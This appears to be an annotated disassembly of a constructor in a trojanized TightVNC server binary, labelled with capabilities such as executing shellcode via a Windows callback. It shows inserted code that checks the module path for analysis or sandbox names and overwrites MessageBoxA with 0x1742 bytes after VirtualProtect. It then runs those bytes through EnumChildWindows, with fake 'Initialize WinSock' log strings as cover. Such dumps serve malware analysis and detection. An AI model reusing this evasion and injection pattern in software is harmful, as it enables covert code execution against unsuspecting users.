Function at 0x413a50
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5dbc
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1b84
call fcn.004ac330
mov eax, dword [0x4fa008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x424], edi
mov dword [ebp - 0x420], edi
mov eax, dword [ebp + 8]
mov ecx, 0x4fb5ac
mov dword [ebp - 0x430], edi
mov byte [ebp - 0x415], al
mov dword [edi], vtable.Singleton_class_TvnServer_.0
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - 0x438], edi
call dword [eax + 4]
mov eax, dword [0x4feeb8]
test eax, eax
cmove eax, edi
mov dword [0x4feeb8], eax
mov dword [ebp - 4], 0
mov ecx, 0x4fb5ac
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov dword [ebp - 4], 1
lea eax, [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xorps xmm0, xmm0
movups xmmword [edi + 0xc], xmm0
push eax
movups xmmword [edi + 0x1c], xmm0
movq qword [edi + 0x2c], xmm0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0xc], vtable.LocalMutex.0
call esi
mov dword [edi + 0xc], vtable.SafeVector_class_TvnServerListener__.0
mov dword [edi + 4], vtable.ConfigReloadListener.0
mov dword [edi + 8], vtable.RfbClientManagerEventListener.0
push dword [ebp + 0x14]
mov byte [ebp - 4], 4
lea eax, [edi + 0x34]
mov ecx, eax
mov dword [edi], vtable.TvnServer.1.0
mov dword [edi + 4], vtable.TvnServer.0
mov dword [edi + 8], vtable.TvnServer.2.0
mov dword [ebp - 0x41c], eax
call fcn.00405480
lea ecx, [edi + 0x40]
mov byte [ebp - 4], 5
call fcn.0046df50
push dword [ebp + 8]
lea ecx, [edi + 0x78]
mov byte [ebp - 4], 6
call fcn.00467920
lea eax, [edi + 0x184]
mov dword [edi + method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [edi + 0x19c], al
mov dword [edi + method.WinServiceDesktopFactory.virtual_0], vtable.WinServiceDesktopFactory.0
mov dword [edi + method.ApplicationDesktopFactory.virtual_0], vtable.ApplicationDesktopFactory.0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x1a8], 0
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1b0], 0
add edi, 0x1b4
lea esi, [edi + 4]
mov dword [ebp - 0x420], edi
push 0
push 0
mov dword [edi], vtable.ExtraRfbServers.0
mov dword [ebp - 0x420], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0040c400
mov ecx, dword [ebp - 0x41c]
mov dword [esi], eax
mov word [edi + 0xc], 0
mov dword [edi + 0x10], vtable.PortMappingContainer.0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], ecx
mov eax, dword [ebp + 0x10]
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x424]
push 0x4c4f70
push 0x4c5630
push 0x4cc6f4
push ecx
mov dword [edi + 0x1d8], eax
mov dword [edi + 0x1dc], 1
call fcn.004056b0
mov eax, dword [vtable.LocalMutex.0]
add esp, 0x10
mov ecx, 0x4fb558
call dword [eax + 4]
mov eax, dword [0x4fee84]
mov dword [ebp - 0x41c], eax
mov byte [ebp - 4], 0xc
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
push 0x400
lea eax, [ebp - 0x414]
mov byte [ebp - 4], 0xb
push 0
push eax
call fcn.00498710
add esp, 0xc
lea eax, [ebp - 0x414]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x40b], 0x6a
jne 0x413cdd
cmp byte [ebp - 0x40a], 0x6f
jne 0x413cdd
cmp byte [ebp - 0x409], 0x68
jne 0x413cdd
cmp byte [ebp - 0x408], 0x6e
je 0x41426d
mov cl, byte [ebp - 0x411]
mov al, byte [ebp - 0x410]
cmp cl, 0x61
jne 0x413d10
cmp al, 0x6e
jne 0x413d10
cmp byte [ebp - 0x40f], cl
jne 0x413d10
cmp byte [ebp - 0x40e], 0x6c
jne 0x413d10
cmp byte [ebp - 0x40d], 0x79
je 0x41426d
cmp byte [ebp - 0x412], 0x5c
jne 0x413d38
cmp cl, 0x74
jne 0x413d38
cmp al, 0x61
jne 0x413d38
cmp byte [ebp - 0x40f], 0x73
jne 0x413d38
cmp byte [ebp - 0x40e], 0x6b
je 0x41426d
mov cl, byte [ebp - 0x414]
lea esi, [ebp - 0x414]
xor edx, edx
test cl, cl
je 0x413e73
mov ch, cl
cmp ch, 0x5c
lea eax, [edx + 1]
mov ch, byte [esi + 1]
lea esi, [esi + 1]
cmovne eax, edx
mov edx, eax
test ch, ch
jne 0x413d50
cmp edx, 2
jne 0x413dcf
lea eax, [ebp - 0x414]
mov dl, cl
cmp dl, 0x5c
je 0x413d7f
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x413d72
mov dl, byte [eax + 1]
inc eax
xor esi, esi
test dl, dl
je 0x413e73
nop dword [eax]
cmp dl, 0x5c
je 0x413d9e
mov dl, byte [eax + 1]
inc eax
inc esi
test dl, dl
jne 0x413d90
cmp esi, 7
jne 0x413e73
cmp cl, 0x43
jne 0x413e73
cmp byte [ebp - 0x413], 0x3a
jne 0x413e73
cmp byte [ebp - 0x405], 0x3a
je 0x413e73
jmp 0x41426d
cmp edx, 7
jne 0x413e25
lea edx, [ebp - 0x414]
xor esi, esi
nop dword [eax]
cmp cl, 0x5c
mov eax, edx
mov cl, byte [edx + 1]
cmovne eax, esi
inc edx
mov esi, eax
test cl, cl
jne 0x413de0
test esi, esi
je 0x413e73
xor eax, eax
cmp byte [esi + 1], al
je 0x413e73
inc eax
cmp byte [esi + eax + 1], 0
jne 0x413e01
cmp eax, 0x16
jne 0x413e73
cmp byte [ebp - 0x3ef], 0x54
jne 0x413e73
cmp byte [ebp - 0x3ee], 0x65
jne 0x413e73
jmp 0x41426d
cmp edx, 6
jne 0x413e73
lea edx, [ebp - 0x414]
xor esi, esi
cmp cl, 0x5c
mov eax, edx
mov cl, byte [edx + 1]
cmovne eax, esi
inc edx
mov esi, eax
test cl, cl
jne 0x413e32
test esi, esi
je 0x413e73
xor eax, eax
cmp byte [esi + 1], al
je 0x413e73
nop
inc eax
cmp byte [esi + eax + 1], 0
jne 0x413e50
cmp eax, 0x24
jne 0x413e73
cmp byte [ebp - 0x3ef], 0x54
jne 0x413e73
cmp byte [ebp - 0x3ee], 0x65
je 0x41426d
lea eax, [edi + 0x34]
push str.Initialize_WinSock
push eax
call fcn.004056e0
push 0x1742
lea eax, [ebp - 0x1b94]
push 0x4cc740
push eax
call fcn.0049a3f0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x434]
add esp, 0x14
mov dword [ebp - 0x434], 0
push eax
push 0x40
push 0x1742
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x41426d
lea eax, [edi + 0x34]
push str.Initialize_WinSock_Success
push eax
call fcn.004056e0
push 0x1742
lea eax, [ebp - 0x1b94]
push eax
push esi
call fcn.0049a3f0
lea eax, [edi + 0x34]
push str.Initialize_WinSock_finished
push eax
call fcn.004056e0
add esp, 0x1c
push 0
push esi
push 0
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov edx, dword [ebp - 0x41c]
xor ecx, ecx
mov al, byte [edx + 0xf8]
test al, al
setne cl
xor esi, esi
add ecx, reloc.WS2_32.dll_accept
mov dword [ebp - 0x420], ecx
test al, al
je 0x413f35
mov eax, dword [edx + 0xfc]
test eax, eax
je 0x413f35
lea esi, [eax + 0x40]
mov byte [ebp - 4], 0xd
push 0x1c
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
mov dword [ebp - 0x428], 0
call fcn.004971c4
add esp, 4
mov dword [ebp - 0x43c], eax
push esi
push 1
push str.SoftwareTightVNCServer
push dword [ebp - 0x420]
mov ecx, eax
mov byte [ebp - 4], 0xe
call fcn.0041ec90
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x42c]
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x41c]
push eax
call fcn.00467e70
mov ecx, dword [ebp - 0x41c]
call fcn.00467bb0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x428]
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
test ecx, ecx
je 0x413fbb
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x10
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
lea eax, [esi + 0x2c]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x44c]
mov dword [edi + 0x17c], eax
call fcn.00403170
mov byte [ebp - 4], 0x12
mov esi, dword [edi + 0x17c]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x428], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x44c]
mov eax, dword [ebp - 0x44c]
push dword [esi + 0xa0]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov byte [ebp - 4], 0x12
mov esi, dword [edi + 0x17c]
mov eax, dword [esi + 0xb0]
lea ecx, [esi + 0xb0]
mov dword [ebp - 0x420], esi
call dword [eax + 4]
mov esi, dword [esi + 0x34]
mov ecx, dword [ebp - 0x420]
add ecx, 0xb0
mov byte [ebp - 4], 0x15
mov eax, dword [ecx]
call dword [eax + 8]
mov byte [ebp - 4], 0x12
mov ecx, dword [edi + 0x1d8]
push esi
push 0x4c54b8
push dword [ebp - 0x448]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [ebp - 0x448]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
call fcn.00403b90
mov dword [ebp - 4], 0xb
jmp 0x4140c4
mov byte [ebp - 4], 0x17
call fcn.00454a60
mov dword [ebp - 4], 0xb
jmp 0x41410f
push 0xe4
call fcn.004971c4
add esp, 4
mov dword [ebp - 0x43c], eax
movzx edx, byte [ebp - 0x415]
mov ecx, dword [ebp - 0x438]
xor edx, 1
mov byte [ebp - 4], 0x19
lea ecx, [ecx + edx*4]
add ecx, 0x1a0
push ecx
lea ecx, [edi + 0x34]
push ecx
push dword [ebp + 0xc]
push ecx
mov ecx, eax
call fcn.00416cd0
mov byte [ebp - 4], 0xb
lea ecx, [edi + 8]
mov dword [edi + 0x1a8], eax
mov dword [ebp - 0x41c], ecx
lea esi, [eax + 0x14]
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - 0x428], esi
call dword [eax + 4]
mov byte [ebp - 4], 0x1a
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
cmp eax, ecx
je 0x4141a7
nop word [eax + eax]
mov edi, dword [ebp - 0x41c]
cmp dword [eax], edi
mov edi, dword [ebp - 0x424]
je 0x4141b7
add eax, 4
cmp eax, ecx
jne 0x414190
cmp dword [esi + 0x24], ecx
je 0x4141bd
lea eax, [edi + 8]
mov dword [ecx], eax
add dword [esi + 0x20], 4
jmp 0x4141cd
mov byte [ebp - 4], 0x1b
jmp 0x4141d1
lea eax, [ebp - 0x41c]
push eax
push ecx
lea ecx, [esi + 0x1c]
call fcn.004110c0
mov byte [ebp - 4], 0x1c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
add edi, 4
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x1d
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
push edi
lea ecx, [esi + 4]
mov byte [ebp - 4], 0xb
call fcn.00411020
mov edi, dword [ebp - 0x424]
mov eax, dword [edi + 0x180]
lea esi, [edi + 0x180]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x428], esi
call dword [eax + 4]
mov ecx, edi
mov byte [ebp - 4], 0x1e
call fcn.004152b0
push dword [edi + 0x1a8]
movzx eax, byte [edi + 0x19c]
lea ecx, [edi + 0x1b4]
push eax
call fcn.004161e0
mov ecx, edi
call fcn.00415020
mov byte [ebp - 4], 0x1f
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00496cab
mov esp, ebp
pop ebp
ret 0x10